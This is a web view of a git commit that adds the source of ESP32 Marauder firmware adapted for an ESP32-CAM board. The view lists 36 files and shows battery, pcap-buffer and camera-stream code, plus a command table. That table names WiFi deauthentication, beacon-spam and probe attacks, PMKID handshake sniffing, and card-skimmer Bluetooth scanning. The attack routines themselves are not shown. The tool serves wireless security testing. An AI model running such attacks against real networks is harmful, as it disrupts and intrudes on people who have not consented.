eried 2 лет назад
Родитель
Сommit
bdf3078683
36 измененных файлов с 12969 добавлено и 0 удалено
  1. 1501 0
      esp32cam_marauder/Assets.h
  2. 49 0
      esp32cam_marauder/BatteryInterface.cpp
  3. 32 0
      esp32cam_marauder/BatteryInterface.h
  4. 203 0
      esp32cam_marauder/Buffer.cpp
  5. 44 0
      esp32cam_marauder/Buffer.h
  6. 169 0
      esp32cam_marauder/CameraStream.ino
  7. 156 0
      esp32cam_marauder/CommandLine.h
  8. 916 0
      esp32cam_marauder/CommandLine.ino
  9. 801 0
      esp32cam_marauder/Display.cpp
  10. 165 0
      esp32cam_marauder/Display.h
  11. 86 0
      esp32cam_marauder/LedInterface.cpp
  12. 49 0
      esp32cam_marauder/LedInterface.h
  13. 2124 0
      esp32cam_marauder/MenuFunctions.cpp
  14. 224 0
      esp32cam_marauder/MenuFunctions.h
  15. 233 0
      esp32cam_marauder/SDInterface.cpp
  16. 50 0
      esp32cam_marauder/SDInterface.h
  17. 36 0
      esp32cam_marauder/TemperatureInterface.cpp
  18. 24 0
      esp32cam_marauder/TemperatureInterface.h
  19. 178 0
      esp32cam_marauder/Web.cpp
  20. 141 0
      esp32cam_marauder/Web.h
  21. 3708 0
      esp32cam_marauder/WiFiScan.cpp
  22. 349 0
      esp32cam_marauder/WiFiScan.h
  23. 69 0
      esp32cam_marauder/a32u4_interface.cpp
  24. 30 0
      esp32cam_marauder/a32u4_interface.h
  25. 428 0
      esp32cam_marauder/configs.h
  26. BIN
      esp32cam_marauder/data/marauder3L.jpg
  27. BIN
      esp32cam_marauder/data/marauder3L1.jpg
  28. BIN
      esp32cam_marauder/data/marauder_mini.jpg
  29. 386 0
      esp32cam_marauder/esp32cam_marauder.ino
  30. 135 0
      esp32cam_marauder/esp_interface.cpp
  31. 35 0
      esp32cam_marauder/esp_interface.h
  32. 70 0
      esp32cam_marauder/flipperLED.cpp
  33. 24 0
      esp32cam_marauder/flipperLED.h
  34. 188 0
      esp32cam_marauder/lang_var.h
  35. 311 0
      esp32cam_marauder/settings.cpp
  36. 55 0
      esp32cam_marauder/settings.h

Разница между файлами не показана из-за своего большого размера
+ 1501 - 0
esp32cam_marauder/Assets.h


+ 49 - 0
esp32cam_marauder/BatteryInterface.cpp

@@ -0,0 +1,49 @@
+#include "BatteryInterface.h"
+#include "lang_var.h"
+BatteryInterface::BatteryInterface() {
+  
+}
+
+void BatteryInterface::main(uint32_t currentTime) {
+  #ifndef MARAUDER_FLIPPER
+    if (currentTime != 0) {
+      if (currentTime - initTime >= 3000) {
+        //Serial.println("Checking Battery Level");
+        this->initTime = millis();
+        int8_t new_level = this->getBatteryLevel();
+        //this->battery_level = this->getBatteryLevel();
+        if (this->battery_level != new_level) {
+          Serial.println(text00 + (String)new_level);
+          this->battery_level = new_level;
+        }
+      }
+    }
+  #endif
+}
+
+void BatteryInterface::RunSetup() {
+  #ifndef MARAUDER_FLIPPER
+    Wire.begin(I2C_SDA, I2C_SCL);
+    this->initTime = millis();
+  #endif
+}
+
+int8_t BatteryInterface::getBatteryLevel() {
+  #ifndef MARAUDER_FLIPPER
+    Wire.beginTransmission(IP5306_ADDR);
+    Wire.write(0x78);
+    if (Wire.endTransmission(false) == 0 &&
+        Wire.requestFrom(0x75, 1)) {
+      this->i2c_supported = true;
+      switch (Wire.read() & 0xF0) {
+        case 0xE0: return 25;
+        case 0xC0: return 50;
+        case 0x80: return 75;
+        case 0x00: return 100;
+        default: return 0;
+      }
+    }
+    this->i2c_supported = false;
+    return -1;
+  #endif
+}

+ 32 - 0
esp32cam_marauder/BatteryInterface.h

@@ -0,0 +1,32 @@
+#ifndef BatteryInterface_h
+#define BatteryInterface_h
+
+#include <Arduino.h>
+
+#include "configs.h"
+
+#ifndef MARAUDER_FLIPPER
+  #include <Wire.h>
+#endif
+
+#define I2C_SDA 33
+#define I2C_SCL 22
+#define IP5306_ADDR 0x75
+
+class BatteryInterface {
+  private:
+    uint32_t initTime = 0;
+
+  public:
+    int8_t battery_level = 0;
+    int8_t old_level = 0;
+    bool i2c_supported = false;
+
+    BatteryInterface();
+
+    void RunSetup();
+    void main(uint32_t currentTime);
+    int8_t getBatteryLevel();
+};
+
+#endif

+ 203 - 0
esp32cam_marauder/Buffer.cpp

@@ -0,0 +1,203 @@
+#include "Buffer.h"
+#include "lang_var.h"
+
+Buffer::Buffer(){
+  bufA = (uint8_t*)malloc(BUF_SIZE);
+  bufB = (uint8_t*)malloc(BUF_SIZE);
+}
+
+void Buffer::open(fs::FS* fs, String fn){
+  int i=0;
+  do{
+    fileName = "/"+fn+"_"+(String)i+".pcap";
+    i++;
+  } while(fs->exists(fileName));
+
+  Serial.println(fileName);
+  
+  file = fs->open(fileName, FILE_WRITE);
+  file.close();
+
+  bufSizeA = 0;
+  bufSizeB = 0;
+  
+  writing = true;
+  
+  write(uint32_t(0xa1b2c3d4)); // magic number
+  write(uint16_t(2)); // major version number
+  write(uint16_t(4)); // minor version number
+  write(int32_t(0)); // GMT to local correction
+  write(uint32_t(0)); // accuracy of timestamps
+  write(uint32_t(SNAP_LEN)); // max length of captured packets, in octets
+  write(uint32_t(105)); // data link type
+
+  //useSD = true;
+}
+
+void Buffer::close(fs::FS* fs){
+  if(!writing) return;
+  forceSave(fs);
+  writing = false;
+  Serial.println(text01);
+}
+
+void Buffer::addPacket(uint8_t* buf, uint32_t len){
+  
+  // buffer is full -> drop packet
+  if((useA && bufSizeA + len >= BUF_SIZE && bufSizeB > 0) || (!useA && bufSizeB + len >= BUF_SIZE && bufSizeA > 0)){
+    //Serial.print(";"); 
+    return;
+  }
+  
+  if(useA && bufSizeA + len + 16 >= BUF_SIZE && bufSizeB == 0){
+    useA = false;
+    //Serial.println("\nswitched to buffer B");
+  }
+  else if(!useA && bufSizeB + len + 16 >= BUF_SIZE && bufSizeA == 0){
+    useA = true;
+    //Serial.println("\nswitched to buffer A");
+  }
+
+  uint32_t microSeconds = micros(); // e.g. 45200400 => 45s 200ms 400us
+  uint32_t seconds = (microSeconds/1000)/1000; // e.g. 45200400/1000/1000 = 45200 / 1000 = 45s
+
+  microSeconds -= seconds*1000*1000; // e.g. 45200400 - 45*1000*1000 = 45200400 - 45000000 = 400us (because we only need the offset)
+  
+  write(seconds); // ts_sec
+  write(microSeconds); // ts_usec
+  write(len); // incl_len
+  write(len); // orig_len
+  
+  write(buf, len); // packet payload
+}
+
+void Buffer::write(int32_t n){
+  uint8_t buf[4];
+  buf[0] = n;
+  buf[1] = n >> 8;
+  buf[2] = n >> 16;
+  buf[3] = n >> 24;
+  write(buf,4);
+}
+
+void Buffer::write(uint32_t n){
+  uint8_t buf[4];
+  buf[0] = n;
+  buf[1] = n >> 8;
+  buf[2] = n >> 16;
+  buf[3] = n >> 24;
+  write(buf,4);
+}
+
+void Buffer::write(uint16_t n){
+  uint8_t buf[2];
+  buf[0] = n;
+  buf[1] = n >> 8;
+  write(buf,2);
+}
+
+void Buffer::write(uint8_t* buf, uint32_t len){
+  if(!writing) return;
+  
+  if(useA){
+    memcpy(&bufA[bufSizeA], buf, len);
+    bufSizeA += len;
+  }else{
+    memcpy(&bufB[bufSizeB], buf, len);
+    bufSizeB += len;
+  }
+}
+
+void Buffer::save(fs::FS* fs){
+  if(saving) return; // makes sure the function isn't called simultaneously on different cores
+
+  // buffers are already emptied, therefor saving is unecessary
+  if((useA && bufSizeB == 0) || (!useA && bufSizeA == 0)){
+    //Serial.printf("useA: %s, bufA %u, bufB %u\n",useA ? "true" : "false",bufSizeA,bufSizeB); // for debug porpuses
+    return;
+  }
+  
+  //Serial.println("saving file");
+  
+  uint32_t startTime = millis();
+  uint32_t finishTime;
+
+  file = fs->open(fileName, FILE_APPEND);
+  if (!file) {
+    Serial.println(text02 + fileName+"'");
+    //useSD = false;
+    return;
+  }
+  
+  saving = true;
+  
+  uint32_t len;
+  
+  if(useA){
+    file.write(bufB, bufSizeB);
+    len = bufSizeB;
+    bufSizeB = 0;
+  }
+  else{
+    file.write(bufA, bufSizeA);
+    len = bufSizeA;
+    bufSizeA = 0;
+  }
+
+  file.close();
+  
+  finishTime = millis() - startTime;
+
+  //Serial.printf("\n%u bytes written for %u ms\n", len, finishTime);
+  
+  saving = false;
+  
+}
+
+void Buffer::forceSave(fs::FS* fs){
+  uint32_t len = bufSizeA + bufSizeB;
+  if(len == 0) return;
+  
+  file = fs->open(fileName, FILE_APPEND);
+  if (!file) {
+    Serial.println(text02+fileName+"'");
+    //useSD = false;
+    return;
+  }
+
+  saving = true;
+  writing = false;
+  
+  if(useA){
+
+    if(bufSizeB > 0){
+      file.write(bufB, bufSizeB);
+      bufSizeB = 0;
+    }
+
+    if(bufSizeA > 0){
+      file.write(bufA, bufSizeA);
+      bufSizeA = 0;
+    }
+    
+  } else {
+
+    if(bufSizeA > 0){
+      file.write(bufA, bufSizeA);
+      bufSizeA = 0;
+    }
+    
+    if(bufSizeB > 0){
+      file.write(bufB, bufSizeB);
+      bufSizeB = 0;
+    }
+    
+  }
+
+  file.close();
+
+  //Serial.printf("saved %u bytes\n",len);
+
+  saving = false;
+  writing = true;
+}

+ 44 - 0
esp32cam_marauder/Buffer.h

@@ -0,0 +1,44 @@
+#ifndef Buffer_h
+#define Buffer_h
+
+#include "Arduino.h"
+#include "FS.h"
+#include "settings.h"
+//#include "SD_MMC.h"
+
+#define BUF_SIZE 3 * 1024 // Had to reduce buffer size to save RAM. GG @spacehuhn
+#define SNAP_LEN 2324 // max len of each recieved packet
+
+//extern bool useSD;
+
+extern Settings settings_obj;
+
+class Buffer {
+  public:
+    Buffer();
+    void open(fs::FS* fs, String fn = "");
+    void close(fs::FS* fs);
+    void addPacket(uint8_t* buf, uint32_t len);
+    void save(fs::FS* fs);
+    void forceSave(fs::FS* fs);
+  private:
+    void write(int32_t n);
+    void write(uint32_t n);
+    void write(uint16_t n);
+    void write(uint8_t* buf, uint32_t len);
+    
+    uint8_t* bufA;
+    uint8_t* bufB;
+
+    uint32_t bufSizeA = 0;
+    uint32_t bufSizeB = 0;
+
+    bool writing = false; // acceppting writes to buffer
+    bool useA = true; // writing to bufA or bufB
+    bool saving = false; // currently saving onto the SD card
+
+    String fileName = "/0.pcap";
+    File file;
+};
+
+#endif

+ 169 - 0
esp32cam_marauder/CameraStream.ino

@@ -0,0 +1,169 @@
+// from: https://github.com/Z4urce/flipperzero-camera/blob/main/esp32_firmware/esp32_cam_uart_stream/esp32_cam_uart_stream.ino
+void cam_stream_setup() {
+  // camera init
+
+  camera_config_t config;
+  config.ledc_channel = LEDC_CHANNEL_0;
+  config.ledc_timer = LEDC_TIMER_0;
+  config.pin_d0 = Y2_GPIO_NUM;
+  config.pin_d1 = Y3_GPIO_NUM;
+  config.pin_d2 = Y4_GPIO_NUM;
+  config.pin_d3 = Y5_GPIO_NUM;
+  config.pin_d4 = Y6_GPIO_NUM;
+  config.pin_d5 = Y7_GPIO_NUM;
+  config.pin_d6 = Y8_GPIO_NUM;
+  config.pin_d7 = Y9_GPIO_NUM;
+  config.pin_xclk = XCLK_GPIO_NUM;
+  config.pin_pclk = PCLK_GPIO_NUM;
+  config.pin_vsync = VSYNC_GPIO_NUM;
+  config.pin_href = HREF_GPIO_NUM;
+  config.pin_sscb_sda = SIOD_GPIO_NUM;
+  config.pin_sscb_scl = SIOC_GPIO_NUM;
+  config.pin_pwdn = PWDN_GPIO_NUM;
+  config.pin_reset = RESET_GPIO_NUM;
+  config.xclk_freq_hz = 20000000;
+  config.pixel_format = PIXFORMAT_GRAYSCALE;
+
+  // We don't need a big frame
+  config.frame_size = FRAMESIZE_QQVGA;
+  config.fb_count = 1;
+
+  esp_err_t err = esp_camera_init(&config);
+  if (err != ESP_OK) {
+    Serial.printf("Camera init failed with error 0x%x", err);
+    return;
+  }
+  // Setting high contrast to make easier to dither
+  sensor_t* s = esp_camera_sensor_get();
+  s->set_contrast(s, 2);
+}
+
+bool disable_dithering = false;
+bool invert = false;
+
+void cam_stream_loop() {
+  bool stop_stream = false;
+  // Reading serial
+  if (Serial.available() > 0) {
+    char r = Serial.read();
+    sensor_t* s = esp_camera_sensor_get();
+
+    switch (r) {
+      case 'S':
+        //stop_stream = false;
+        break;
+      case 's':
+        /*stop_stream = true;
+        preferences.putBool("streaming", false);
+        preferences.end();
+        ESP.restart();*/
+        break;
+      case 'D':
+        disable_dithering = false;
+        break;
+      case 'd':
+        disable_dithering = true;
+        break;
+      case 'C':
+        s->set_contrast(s, s->status.contrast + 1);
+        s->set_contrast(s, s->status.brightness + 1);
+        break;
+      case 'c':
+        s->set_contrast(s, s->status.contrast - 1);
+        s->set_contrast(s, s->status.brightness - 1);
+        break;
+      /*case 'B':
+        s->set_contrast(s, s->status.brightness + 1);
+        break;
+        case 'b':
+        s->set_contrast(s, s->status.brightness - 1);
+        break;
+
+        // Toggle cases
+        case 'M': // Toggle Mirror
+        s->set_hmirror(s, !s->status.hmirror);
+        break;
+        case '>':
+        disable_dithering = !disable_dithering;
+        break;
+        case '<':
+        invert = !invert;
+        break;
+      */
+
+      // Toggle cases
+      case '>':  // Toggle Mirror 
+        s->set_hmirror(s, !s->status.hmirror);
+        if (s->status.hmirror)
+          s->set_vflip(s, !s->status.vflip);
+        break;
+      case '<':
+        invert = !invert;
+        if(invert)
+          disable_dithering = !disable_dithering;
+        break;
+      default:
+        break;
+    }
+  }
+
+  camera_fb_t* fb = esp_camera_fb_get();
+
+  if (!fb) {
+    return;
+  }
+
+  //Length: 19200
+  //Width: 160
+  //Height: 120
+  //Format: 2
+  //Target: 128x64
+
+  if (!disable_dithering) {
+    DitherImage(fb);
+  }
+
+  uint8_t flipper_y = 0;
+  for (uint8_t y = 28; y < 92; ++y) {
+    Serial.print("Y:");
+    Serial.print((char)flipper_y);
+
+    size_t true_y = y * fb->width;
+    for (uint8_t x = 16; x < 144; x += 8) {
+      char c = 0;
+      for (uint8_t j = 0; j < 8; ++j) {
+        if (IsDarkBit(fb->buf[true_y + x + (7 - j)])) {
+          c |= 1 << j;
+        }
+      }
+      Serial.print(c);
+    }
+
+    ++flipper_y;
+    Serial.flush();
+  }
+
+  esp_camera_fb_return(fb);
+  fb = NULL;
+  delay(50);
+}
+
+inline bool IsDarkBit(const uint8_t bit) {
+  return (invert ^ (bit < 128));
+}
+
+void DitherImage(camera_fb_t* fb) {
+  for (uint8_t y = 0; y < fb->height; ++y) {
+    for (uint8_t x = 0; x < fb->width; ++x) {
+      size_t current = (y * fb->width) + x;
+      uint8_t oldpixel = fb->buf[current];
+      uint8_t newpixel = oldpixel >= 128 ? 255 : 0;
+      fb->buf[current] = newpixel;
+      uint8_t quant_error = oldpixel - newpixel;
+      fb->buf[(y * fb->width) + x + 1] = fb->buf[(y * fb->width) + x + 1] + quant_error * 7 / 16;
+      fb->buf[(y + 1 * fb->width) + x - 1] = fb->buf[(y + 1 * fb->width) + x - 1] + quant_error * 3 / 16;
+      fb->buf[(y + 1 * fb->width) + x] = fb->buf[(y + 1 * fb->width) + x] + quant_error * 5 / 16;
+      fb->buf[(y + 1 * fb->width) + x + 1] = fb->buf[(y + 1 * fb->width) + x + 1] + quant_error * 1 / 16;
+    }
+  }
+}

+ 156 - 0
esp32cam_marauder/CommandLine.h

@@ -0,0 +1,156 @@
+#ifndef CommandLine_h
+#define CommandLine_h
+
+#include "configs.h"
+
+#ifdef HAS_SCREEN
+  #include "MenuFunctions.h"
+  #include "Display.h"
+#endif 
+
+#include "WiFiScan.h"
+#include "Web.h"
+#include "SDInterface.h"
+#include "settings.h"
+
+#ifdef HAS_SCREEN
+  extern MenuFunctions menu_function_obj;
+  extern Display display_obj;
+#endif
+
+extern WiFiScan wifi_scan_obj;
+extern Web web_obj;
+extern SDInterface sd_obj;
+extern Settings settings_obj;
+extern LinkedList<AccessPoint>* access_points;
+extern LinkedList<ssid>* ssids;
+extern LinkedList<Station>* stations;
+extern const String PROGMEM version_number;
+
+//// Commands
+// Camera functions
+const char PROGMEM CAM_PHOTO[] = "photo";
+const char PROGMEM CAM_FLASHLIGHT[] = "flashlight";
+const char PROGMEM CAM_STREAM[] = "stream";
+
+// Admin
+const char PROGMEM CH_CMD[] = "channel";
+const char PROGMEM CLEARAP_CMD[] = "clearlist";
+const char PROGMEM REBOOT_CMD[] = "reboot";
+const char PROGMEM UPDATE_CMD[] = "update";
+const char PROGMEM HELP_CMD[] = "help";
+const char PROGMEM SETTINGS_CMD[] = "settings";
+
+// WiFi sniff/scan
+const char PROGMEM SCANAP_CMD[] = "scanap";
+const char PROGMEM SCANSTA_CMD[] = "scansta";
+const char PROGMEM SNIFF_RAW_CMD[] = "sniffraw";
+const char PROGMEM SNIFF_BEACON_CMD[] = "sniffbeacon";
+const char PROGMEM SNIFF_PROBE_CMD[] = "sniffprobe";
+const char PROGMEM SNIFF_PWN_CMD[] = "sniffpwn";
+const char PROGMEM SNIFF_ESP_CMD[] = "sniffesp";
+const char PROGMEM SNIFF_DEAUTH_CMD[] = "sniffdeauth";
+const char PROGMEM SNIFF_PMKID_CMD[] = "sniffpmkid";
+const char PROGMEM STOPSCAN_CMD[] = "stopscan";
+
+// WiFi attack
+const char PROGMEM ATTACK_CMD[] = "attack";
+const char PROGMEM ATTACK_TYPE_DEAUTH[] = "deauth";
+const char PROGMEM ATTACK_TYPE_BEACON[] = "beacon";
+const char PROGMEM ATTACK_TYPE_PROBE[] = "probe";
+const char PROGMEM ATTACK_TYPE_RR[] = "rickroll";
+
+// WiFi Aux
+const char PROGMEM LIST_AP_CMD[] = "list";
+const char PROGMEM SEL_CMD[] = "select";
+const char PROGMEM SSID_CMD[] = "ssid";
+
+// Bluetooth sniff/scan
+const char PROGMEM BT_SNIFF_CMD[] = "sniffbt";
+const char PROGMEM BT_SKIM_CMD[] = "sniffskim";
+
+
+//// Command help messages
+// Admin
+const char PROGMEM HELP_HEAD[] = "============ Commands ============";
+const char PROGMEM HELP_CH_CMD[] = "channel [-s <channel>]";
+const char PROGMEM HELP_CLEARAP_CMD_A[] = "clearlist -a/-c/-s";
+const char PROGMEM HELP_REBOOT_CMD[] = "reboot";
+const char PROGMEM HELP_UPDATE_CMD_A[] = "update -s/-w";
+const char PROGMEM HELP_SETTINGS_CMD[] = "settings [-s <setting> enable/disable>]/[-r]";
+
+// WiFi sniff/scan
+const char PROGMEM HELP_SCANAP_CMD[] = "scanap";
+const char PROGMEM HELP_SCANSTA_CMD[] = "scansta";
+const char PROGMEM HELP_SNIFF_RAW_CMD[] = "sniffraw";
+const char PROGMEM HELP_SNIFF_BEACON_CMD[] = "sniffbeacon";
+const char PROGMEM HELP_SNIFF_PROBE_CMD[] = "sniffprobe";
+const char PROGMEM HELP_SNIFF_PWN_CMD[] = "sniffpwn";
+const char PROGMEM HELP_SNIFF_ESP_CMD[] = "sniffesp";
+const char PROGMEM HELP_SNIFF_DEAUTH_CMD[] = "sniffdeauth";
+const char PROGMEM HELP_SNIFF_PMKID_CMD[] = "sniffpmkid [-c <channel>]";
+const char PROGMEM HELP_STOPSCAN_CMD[] = "stopscan";
+
+// WiFi attack
+const char PROGMEM HELP_ATTACK_CMD[] = "attack -t <beacon [-l/-r/-a]/deauth [-c]/[-s <src mac>] [-d <dst mac>]/probe/rickroll>";
+
+// WiFi Aux
+const char PROGMEM HELP_LIST_AP_CMD_A[] = "list -s";
+const char PROGMEM HELP_LIST_AP_CMD_B[] = "list -a";
+const char PROGMEM HELP_LIST_AP_CMD_C[] = "list -c";
+const char PROGMEM HELP_SEL_CMD_A[] = "select -a/-s/-c <index (comma separated)>";
+const char PROGMEM HELP_SSID_CMD_A[] = "ssid -a [-g <count>/-n <name>]";
+const char PROGMEM HELP_SSID_CMD_B[] = "ssid -r <index>";
+
+// Bluetooth sniff/scan
+const char PROGMEM HELP_BT_SNIFF_CMD[] = "sniffbt";
+const char PROGMEM HELP_BT_SKIM_CMD[] = "sniffskim";
+const char PROGMEM HELP_FOOT[] = "==================================";
+
+
+class CommandLine {
+  private:
+    String getSerialInput();
+    LinkedList<String> parseCommand(String input, char* delim);
+    void runCommand(String input);
+    bool checkValueExists(LinkedList<String>* cmd_args_list, int index);
+    bool inRange(int max, int index);
+    bool apSelected();
+    bool hasSSIDs();
+    int argSearch(LinkedList<String>* cmd_args, String key);
+
+    const char* ascii_art =
+    "\r\n"
+    "              @@@@@@                        \r\n"
+    "              @@@@@@@@                      \r\n"
+    "              @@@@@@@@@@@                   \r\n"
+    "             @@@@@@  @@@@@@                 \r\n"
+    "          @@@@@@@      @@@@@@@              \r\n"
+    "        @@@@@@            @@@@@@            \r\n"
+    "     @@@@@@@                @@@@@@@         \r\n"
+    "   @@@@@@                      @@@@@@       \r\n"
+    "@@@@@@@              @@@@@@@@@@@@@@@@       \r\n"
+    "@@@@@                 @@@@@@@@@@@@@@@       \r\n"
+    "@@@@@                   @@@@@@@             \r\n"
+    "@@@@@                      @@@@@@           \r\n"
+    "@@@@@@                       @@@@@@@        \r\n"
+    "  @@@@@@                        @@@@@@@@@@@@\r\n"
+    "    @@@@@@@                          @@@@@@ \r\n"
+    "       @@@@@@                     @@@@@@    \r\n"
+    "         @@@@@@@                @@@@@@      \r\n"
+    "            @@@@@@           @@@@@@         \r\n"
+    "              @@@@@@@      @@@@@@           \r\n"
+    "                 @@@@@@ @@@@@@              \r\n"
+    "                   @@@@@@@@@                \r\n"
+    "                      @@@@@@                \r\n"
+    "                        @@@@                \r\n"
+    "\r\n";
+        
+  public:
+    CommandLine();
+
+    void RunSetup();
+    void main(uint32_t currentTime);
+};
+
+#endif

+ 916 - 0
esp32cam_marauder/CommandLine.ino

@@ -0,0 +1,916 @@
+#include "CommandLine.h"
+void configESPCamera() {
+  WRITE_PERI_REG(RTC_CNTL_BROWN_OUT_REG, 0); //disable brownout detector
+  // Object to store the camera configuration parameters
+  camera_config_t config;
+
+  config.ledc_channel = LEDC_CHANNEL_0;
+  config.ledc_timer = LEDC_TIMER_0;
+  config.pin_d0 = Y2_GPIO_NUM;
+  config.pin_d1 = Y3_GPIO_NUM;
+  config.pin_d2 = Y4_GPIO_NUM;
+  config.pin_d3 = Y5_GPIO_NUM;
+  config.pin_d4 = Y6_GPIO_NUM;
+  config.pin_d5 = Y7_GPIO_NUM;
+  config.pin_d6 = Y8_GPIO_NUM;
+  config.pin_d7 = Y9_GPIO_NUM;
+  config.pin_xclk = XCLK_GPIO_NUM;
+  config.pin_pclk = PCLK_GPIO_NUM;
+  config.pin_vsync = VSYNC_GPIO_NUM;
+  config.pin_href = HREF_GPIO_NUM;
+  config.pin_sscb_sda = SIOD_GPIO_NUM;
+  config.pin_sscb_scl = SIOC_GPIO_NUM;
+  config.pin_pwdn = PWDN_GPIO_NUM;
+  config.pin_reset = RESET_GPIO_NUM;
+  config.xclk_freq_hz = 20000000;
+  config.pixel_format = PIXFORMAT_JPEG; // Choices are YUV422, GRAYSCALE, RGB565, JPEG
+
+  // Select lower framesize if the camera doesn't support PSRAM
+  if (psramFound()) {
+    config.frame_size = FRAMESIZE_UXGA; // FRAMESIZE_ + QVGA|CIF|VGA|SVGA|XGA|SXGA|UXGA
+    config.jpeg_quality = 10; //10-63 lower number means higher quality
+    config.fb_count = 2;
+  } else {
+    config.frame_size = FRAMESIZE_SVGA;
+    config.jpeg_quality = 12;
+    config.fb_count = 1;
+  }
+
+  // Initialize the Camera
+  esp_err_t err = esp_camera_init(&config);
+  if (err != ESP_OK) {
+    Serial.printf("Camera init failed with error 0x%x", err);
+    return;
+  }
+
+  // Camera quality adjustments
+  sensor_t * s = esp_camera_sensor_get();
+
+  // BRIGHTNESS (-2 to 2)
+  s->set_brightness(s, 0);
+  // CONTRAST (-2 to 2)
+  s->set_contrast(s, 0);
+  // SATURATION (-2 to 2)
+  s->set_saturation(s, 0);
+  // SPECIAL EFFECTS (0 - No Effect, 1 - Negative, 2 - Grayscale, 3 - Red Tint, 4 - Green Tint, 5 - Blue Tint, 6 - Sepia)
+  s->set_special_effect(s, 0);
+  // WHITE BALANCE (0 = Disable , 1 = Enable)
+  s->set_whitebal(s, 1);
+  // AWB GAIN (0 = Disable , 1 = Enable)
+  s->set_awb_gain(s, 1);
+  // WB MODES (0 - Auto, 1 - Sunny, 2 - Cloudy, 3 - Office, 4 - Home)
+  s->set_wb_mode(s, 0);
+  // EXPOSURE CONTROLS (0 = Disable , 1 = Enable)
+  s->set_exposure_ctrl(s, 1);
+  // AEC2 (0 = Disable , 1 = Enable)
+  s->set_aec2(s, 0);
+  // AE LEVELS (-2 to 2)
+  s->set_ae_level(s, 0);
+  // AEC VALUES (0 to 1200)
+  s->set_aec_value(s, 300);
+  // GAIN CONTROLS (0 = Disable , 1 = Enable)
+  s->set_gain_ctrl(s, 1);
+  // AGC GAIN (0 to 30)
+  s->set_agc_gain(s, 0);
+  // GAIN CEILING (0 to 6)
+  s->set_gainceiling(s, (gainceiling_t)0);
+  // BPC (0 = Disable , 1 = Enable)
+  s->set_bpc(s, 0);
+  // WPC (0 = Disable , 1 = Enable)
+  s->set_wpc(s, 1);
+  // RAW GMA (0 = Disable , 1 = Enable)
+  s->set_raw_gma(s, 1);
+  // LENC (0 = Disable , 1 = Enable)
+  s->set_lenc(s, 1);
+  // HORIZ MIRROR (0 = Disable , 1 = Enable)
+  s->set_hmirror(s, 0);
+  // VERT FLIP (0 = Disable , 1 = Enable)
+  s->set_vflip(s, 0);
+  // DCW (0 = Disable , 1 = Enable)
+  s->set_dcw(s, 1);
+  // COLOR BAR PATTERN (0 = Disable , 1 = Enable)
+  s->set_colorbar(s, 0);
+}
+
+void initMicroSDCard() {
+  Serial.println("Mounting MicroSD Card");
+  if (!SD_MMC.begin("/sdcard", true, false, SDMMC_FREQ_DEFAULT)) {
+    Serial.println("MicroSD Card Mount Failed");
+    return;
+  }
+  uint8_t cardType = SD_MMC.cardType();
+  if (cardType == CARD_NONE) {
+    Serial.println("No MicroSD Card found");
+    return;
+  }
+}
+
+void takeNewPhoto(String path, bool flash) {
+  // Take Picture with Camera
+
+  // Setup frame buffer
+  if (flash)
+  {
+    pinMode(4, OUTPUT);
+    digitalWrite(4, HIGH);
+  }
+  camera_fb_t  * fb = esp_camera_fb_get();
+  if (flash)
+  {
+    digitalWrite(4, LOW);
+  }
+  if (!fb) {
+    Serial.println("Camera capture failed");
+    return;
+  }
+
+  // Save picture to microSD card
+  fs::FS &fs = SD_MMC;
+  File file = fs.open(path.c_str(), FILE_WRITE);
+  if (!file) {
+    Serial.println("Failed to open file in write mode");
+  }
+  else {
+    file.write(fb->buf, fb->len); // payload (image), payload length
+    Serial.printf("Saved file to path: %s\n", path.c_str());
+  }
+  // Close the file
+  file.close();
+
+  // Return the frame buffer back to the driver for reuse
+  esp_camera_fb_return(fb);
+  fb = NULL;
+}
+
+CommandLine::CommandLine() {
+}
+
+void CommandLine::RunSetup() {
+  Serial.println(this->ascii_art);
+
+  Serial.println(F("\n\n--------------------------------\n"));
+  Serial.println(F("         ESP32 Marauder      \n"));
+  Serial.println("            " + version_number + "\n");
+  Serial.println(F("       By: justcallmekoko\n"));
+  Serial.println(F("--------------------------------\n\n"));
+  
+  Serial.print("> ");
+}
+
+String CommandLine::getSerialInput() {
+  String input = "";
+
+  if (Serial.available() > 0)
+    input = Serial.readStringUntil('\n');
+
+  input.trim();
+  return input;
+}
+
+void CommandLine::main(uint32_t currentTime) {
+  String input = this->getSerialInput();
+
+  this->runCommand(input);
+
+  if (input != "")
+    Serial.print("> ");
+}
+
+LinkedList<String> CommandLine::parseCommand(String input, char* delim) {
+  LinkedList<String> cmd_args;
+  
+  if (input != "") {
+    
+    char fancy[input.length() + 1] = {};
+    input.toCharArray(fancy, input.length() + 1);
+        
+    char* ptr = strtok(fancy, delim);
+  
+    while (ptr != NULL) {
+      cmd_args.add(String(ptr));
+  
+      ptr = strtok(NULL, delim);
+    }
+  }
+
+  return cmd_args;
+}
+
+int CommandLine::argSearch(LinkedList<String>* cmd_args_list, String key) {
+  for (int i = 0; i < cmd_args_list->size(); i++) {
+    if (cmd_args_list->get(i) == key)
+      return i;
+  }
+
+  return -1;
+}
+
+bool CommandLine::checkValueExists(LinkedList<String>* cmd_args_list, int index) {
+  if (index < cmd_args_list->size() - 1)
+    return true;
+    
+  return false;
+}
+
+bool CommandLine::inRange(int max, int index) {
+  if ((index >= 0) && (index < max))
+    return true;
+
+  return false;
+}
+
+bool CommandLine::apSelected() {
+  for (int i = 0; i < access_points->size(); i++) {
+    if (access_points->get(i).selected)
+      return true;
+  }
+
+  return false;
+}
+
+bool CommandLine::hasSSIDs() {
+  if (ssids->size() == 0)
+    return false;
+
+  return true;
+}
+
+void CommandLine::runCommand(String input) {
+  if (input != "")
+    Serial.println("#" + input);
+  else
+    return;
+
+  LinkedList<String> cmd_args = this->parseCommand(input, " ");
+
+  //// Admin commands
+
+  // Help
+  if (cmd_args.get(0) == HELP_CMD) {
+    Serial.println(HELP_HEAD);
+    Serial.println(HELP_CH_CMD);
+    Serial.println(HELP_SETTINGS_CMD);
+    Serial.println(HELP_CLEARAP_CMD_A);
+    Serial.println(HELP_REBOOT_CMD);
+    Serial.println(HELP_UPDATE_CMD_A);
+    
+    // WiFi sniff/scan
+    Serial.println(HELP_SCANAP_CMD);
+    Serial.println(HELP_SCANSTA_CMD);
+    Serial.println(HELP_SNIFF_RAW_CMD);
+    Serial.println(HELP_SNIFF_BEACON_CMD);
+    Serial.println(HELP_SNIFF_PROBE_CMD);
+    Serial.println(HELP_SNIFF_PWN_CMD);
+    Serial.println(HELP_SNIFF_ESP_CMD);
+    Serial.println(HELP_SNIFF_DEAUTH_CMD);
+    Serial.println(HELP_SNIFF_PMKID_CMD);
+    Serial.println(HELP_STOPSCAN_CMD);
+    
+    // WiFi attack
